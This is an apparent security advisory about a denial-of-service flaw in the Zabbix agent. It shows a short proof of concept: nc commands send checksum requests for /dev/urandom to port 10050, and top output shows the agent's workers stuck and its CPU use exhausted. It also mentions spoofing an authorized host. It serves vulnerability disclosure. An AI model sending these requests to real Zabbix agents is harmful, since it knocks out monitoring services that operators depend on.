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Zabbix (zabbix_agentd) Denial of Service
------------------------------------------------------------------------
SUMMARY
<http://www.zabbix.com/> ZABBIX offers "advanced monitoring, alerting and
visualization features today which are missing in other monitoring
systems, even some of the best commercial ones". There is some DoS issue
with Zabbix which can be exploited by a malicious user from an authorized
host.
DETAILS
An attacker on the authorized host can cause the zabbix_agentd to hang,
over-consume CPU resources.
This can be triggered by sending the agent a file checksum request
(vfs.file.cksum[file]) with file argument being some "special" device node
like /dev/zero or /dev/urandom (the latter rises kernel CPU usage even
more).
If the malicious user sends <number_of_zabbix_agentd_children> requests,
then the zabbix_agentd service will not be able to serve any requests
until it's restarted.
Here's some example session :
gat3way:/etc/zabbix# echo "vfs.file.cksum[/dev/urandom]" | nc localhost
10050 &
[1] 24429
gat3way:/etc/zabbix# echo "vfs.file.cksum[/dev/urandom]" | nc localhost
10050 &
[2] 24431
gat3way:/etc/zabbix# echo "vfs.file.cksum[/dev/urandom]" | nc localhost
10050 &
[3] 24433
gat3way:/etc/zabbix# echo "vfs.file.cksum[/dev/urandom]" | nc localhost
10050 &
[4] 24435
..and some output from top:
<snip>
Tasks: 183 total, 5 running, 178 sleeping, 0 stopped, 0 zombie
Cpu(s): 2.0%us, 97.0%sy, 1.0%ni, 0.0%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st
<snip>
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
24381 zabbix 30 5 5056 1032 768 R 65 0.1 4:16.01 zabbix_agentd
24382 zabbix 30 5 5068 1044 776 R 50 0.1 4:12.18 zabbix_agentd
24380 zabbix 30 5 5068 1044 776 R 50 0.1 4:01.24 zabbix_agentd
24379 zabbix 30 5 5056 1036 772 R 31 0.1 4:08.24 zabbix_agentd
From this point the, zabbix_agentd accepts new connections, but does not
serve them.
The malicious user needs to connect from an authorized host, but it's not
so hard to spoof it if he's on the same Ethernet segment as the host
running the zabbix_agent.
ADDITIONAL INFORMATION
The information has been provided by <mailto:mrangelov@globul.bg> Milen
Rangelov.
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